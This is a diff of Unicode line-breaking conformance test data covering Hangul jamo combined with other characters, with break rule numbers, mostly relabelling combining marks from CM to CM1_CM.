+× 11A8 × 0308 ÷ 1F3FB ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 11A8 × 0308 × 0020 ÷ 1F3FB ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 11A8 × 0001 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 11A8 × 0020 ÷ 0001 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 11A8 × 0308 × 0001 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM1_CM) × [9.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 11A8 × 0308 × 0020 ÷ 0001 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 11A8 × 200D ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 11A8 × 0020 ÷ 200D ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [7.01] SPACE (SP) ÷ [18.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 11A8 × 0308 × 200D ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM1_CM) × [9.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 11A8 × 0308 × 0020 ÷ 200D ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
× 11A8 ÷ 00A7 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) ÷ [999.0] SECTION SIGN (AI_AL) ÷ [0.3]
× 11A8 × 0020 ÷ 00A7 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
-× 11A8 × 0308 ÷ 00A7 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] SECTION SIGN (AI_AL) ÷ [0.3]
-× 11A8 × 0308 × 0020 ÷ 00A7 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
+× 11A8 × 0308 ÷ 00A7 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] SECTION SIGN (AI_AL) ÷ [0.3]
+× 11A8 × 0308 × 0020 ÷ 00A7 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
× 11A8 ÷ 50005 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) ÷ [999.0] <reserved-50005> (XX_AL) ÷ [0.3]
× 11A8 × 0020 ÷ 50005 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
-× 11A8 × 0308 ÷ 50005 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] <reserved-50005> (XX_AL) ÷ [0.3]
-× 11A8 × 0308 × 0020 ÷ 50005 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
+× 11A8 × 0308 ÷ 50005 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] <reserved-50005> (XX_AL) ÷ [0.3]
+× 11A8 × 0308 × 0020 ÷ 50005 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
× 11A8 ÷ 0E01 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) ÷ [999.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
× 11A8 × 0020 ÷ 0E01 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
-× 11A8 × 0308 ÷ 0E01 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
-× 11A8 × 0308 × 0020 ÷ 0E01 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
+× 11A8 × 0308 ÷ 0E01 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
+× 11A8 × 0308 × 0020 ÷ 0E01 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
× 11A8 × 3041 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [21.03] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
× 11A8 × 0020 ÷ 3041 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [7.01] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
-× 11A8 × 0308 × 3041 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM) × [21.03] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
-× 11A8 × 0308 × 0020 ÷ 3041 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
+× 11A8 × 0308 × 3041 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.03] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
+× 11A8 × 0308 × 0020 ÷ 3041 ÷ # × [0.3] HANGUL JONGSEONG KIYEOK (JT) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
× 1160 ÷ 0023 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) ÷ [999.0] NUMBER SIGN (AL) ÷ [0.3]
× 1160 × 0020 ÷ 0023 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
-× 1160 × 0308 ÷ 0023 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] NUMBER SIGN (AL) ÷ [0.3]
-× 1160 × 0308 × 0020 ÷ 0023 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
+× 1160 × 0308 ÷ 0023 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] NUMBER SIGN (AL) ÷ [0.3]
+× 1160 × 0308 × 0020 ÷ 0023 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
× 1160 ÷ 2014 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) ÷ [999.0] EM DASH (B2) ÷ [0.3]
× 1160 × 0020 ÷ 2014 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [7.01] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
-× 1160 × 0308 ÷ 2014 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] EM DASH (B2) ÷ [0.3]
-× 1160 × 0308 × 0020 ÷ 2014 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
+× 1160 × 0308 ÷ 2014 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] EM DASH (B2) ÷ [0.3]
+× 1160 × 0308 × 0020 ÷ 2014 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
× 1160 × 0009 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [21.01] <CHARACTER TABULATION> (BA) ÷ [0.3]
× 1160 × 0020 ÷ 0009 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
-× 1160 × 0308 × 0009 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM) × [21.01] <CHARACTER TABULATION> (BA) ÷ [0.3]
-× 1160 × 0308 × 0020 ÷ 0009 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
+× 1160 × 0308 × 0009 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.01] <CHARACTER TABULATION> (BA) ÷ [0.3]
+× 1160 × 0308 × 0020 ÷ 0009 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
× 1160 ÷ 00B4 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) ÷ [999.0] ACUTE ACCENT (BB) ÷ [0.3]
× 1160 × 0020 ÷ 00B4 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
-× 1160 × 0308 ÷ 00B4 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] ACUTE ACCENT (BB) ÷ [0.3]
-× 1160 × 0308 × 0020 ÷ 00B4 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
+× 1160 × 0308 ÷ 00B4 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] ACUTE ACCENT (BB) ÷ [0.3]
+× 1160 × 0308 × 0020 ÷ 00B4 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
× 1160 × 000B ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
× 1160 × 0020 × 000B ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
-× 1160 × 0308 × 000B ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
-× 1160 × 0308 × 0020 × 000B ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
+× 1160 × 0308 × 000B ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
+× 1160 × 0308 × 0020 × 000B ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
× 1160 ÷ FFFC ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) ÷ [20.01] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
× 1160 × 0020 ÷ FFFC ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
-× 1160 × 0308 ÷ FFFC ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM) ÷ [20.01] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
-× 1160 × 0308 × 0020 ÷ FFFC ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
+× 1160 × 0308 ÷ FFFC ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [20.01] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
+× 1160 × 0308 × 0020 ÷ FFFC ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
× 1160 × 007D ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
× 1160 × 0020 × 007D ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
-× 1160 × 0308 × 007D ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM) × [13.03] RIGHT CURLY BRACKET (CL) ÷ [0.3]
-× 1160 × 0308 × 0020 × 007D ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
+× 1160 × 0308 × 007D ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] RIGHT CURLY BRACKET (CL) ÷ [0.3]
+× 1160 × 0308 × 0020 × 007D ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
× 1160 × 0029 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
× 1160 × 0020 × 0029 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 1160 × 0308 × 0029 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM) × [13.03] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 1160 × 0308 × 0020 × 0029 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 1160 × 0001 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] <START OF HEADING> (CM) ÷ [0.3]
-× 1160 × 0020 ÷ 0001 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM) ÷ [0.3]
-× 1160 × 0308 × 0001 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM) × [9.0] <START OF HEADING> (CM) ÷ [0.3]
-× 1160 × 0308 × 0020 ÷ 0001 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM) ÷ [0.3]
+× 1160 × 0308 × 0029 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] RIGHT PARENTHESIS (CP) ÷ [0.3]
+× 1160 × 0308 × 0020 × 0029 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
× 1160 × 000D ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
× 1160 × 0020 × 000D ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
-× 1160 × 0308 × 000D ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
-× 1160 × 0308 × 0020 × 000D ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+× 1160 × 0308 × 000D ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+× 1160 × 0308 × 0020 × 000D ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
× 1160 × 0021 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
× 1160 × 0020 × 0021 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
-× 1160 × 0308 × 0021 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
-× 1160 × 0308 × 0020 × 0021 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
+× 1160 × 0308 × 0021 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
+× 1160 × 0308 × 0020 × 0021 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
× 1160 × 00A0 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [12.1] NO-BREAK SPACE (GL) ÷ [0.3]
× 1160 × 0020 ÷ 00A0 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
-× 1160 × 0308 × 00A0 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM) × [12.2] NO-BREAK SPACE (GL) ÷ [0.3]
-× 1160 × 0308 × 0020 ÷ 00A0 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
+× 1160 × 0308 × 00A0 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM1_CM) × [12.2] NO-BREAK SPACE (GL) ÷ [0.3]
+× 1160 × 0308 × 0020 ÷ 00A0 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
× 1160 ÷ AC00 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) ÷ [999.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
× 1160 × 0020 ÷ AC00 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
-× 1160 × 0308 ÷ AC00 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
-× 1160 × 0308 × 0020 ÷ AC00 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
+× 1160 × 0308 ÷ AC00 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
+× 1160 × 0308 × 0020 ÷ AC00 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
× 1160 ÷ AC01 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) ÷ [999.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
× 1160 × 0020 ÷ AC01 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
-× 1160 × 0308 ÷ AC01 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
-× 1160 × 0308 × 0020 ÷ AC01 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
+× 1160 × 0308 ÷ AC01 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
+× 1160 × 0308 × 0020 ÷ AC01 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
× 1160 ÷ 05D0 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) ÷ [999.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
× 1160 × 0020 ÷ 05D0 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
-× 1160 × 0308 ÷ 05D0 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
-× 1160 × 0308 × 0020 ÷ 05D0 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
+× 1160 × 0308 ÷ 05D0 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
+× 1160 × 0308 × 0020 ÷ 05D0 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
× 1160 × 002D ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [21.02] HYPHEN-MINUS (HY) ÷ [0.3]
× 1160 × 0020 ÷ 002D ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
-× 1160 × 0308 × 002D ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM) × [21.02] HYPHEN-MINUS (HY) ÷ [0.3]
-× 1160 × 0308 × 0020 ÷ 002D ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
+× 1160 × 0308 × 002D ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.02] HYPHEN-MINUS (HY) ÷ [0.3]
+× 1160 × 0308 × 0020 ÷ 002D ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
× 1160 ÷ 231A ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) ÷ [999.0] WATCH (ID) ÷ [0.3]
× 1160 × 0020 ÷ 231A ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
-× 1160 × 0308 ÷ 231A ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] WATCH (ID) ÷ [0.3]
-× 1160 × 0308 × 0020 ÷ 231A ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
+× 1160 × 0308 ÷ 231A ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] WATCH (ID) ÷ [0.3]
+× 1160 × 0308 × 0020 ÷ 231A ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
× 1160 × 2024 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [27.01] ONE DOT LEADER (IN) ÷ [0.3]
× 1160 × 0020 ÷ 2024 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
-× 1160 × 0308 × 2024 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM) × [27.01] ONE DOT LEADER (IN) ÷ [0.3]
-× 1160 × 0308 × 0020 ÷ 2024 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
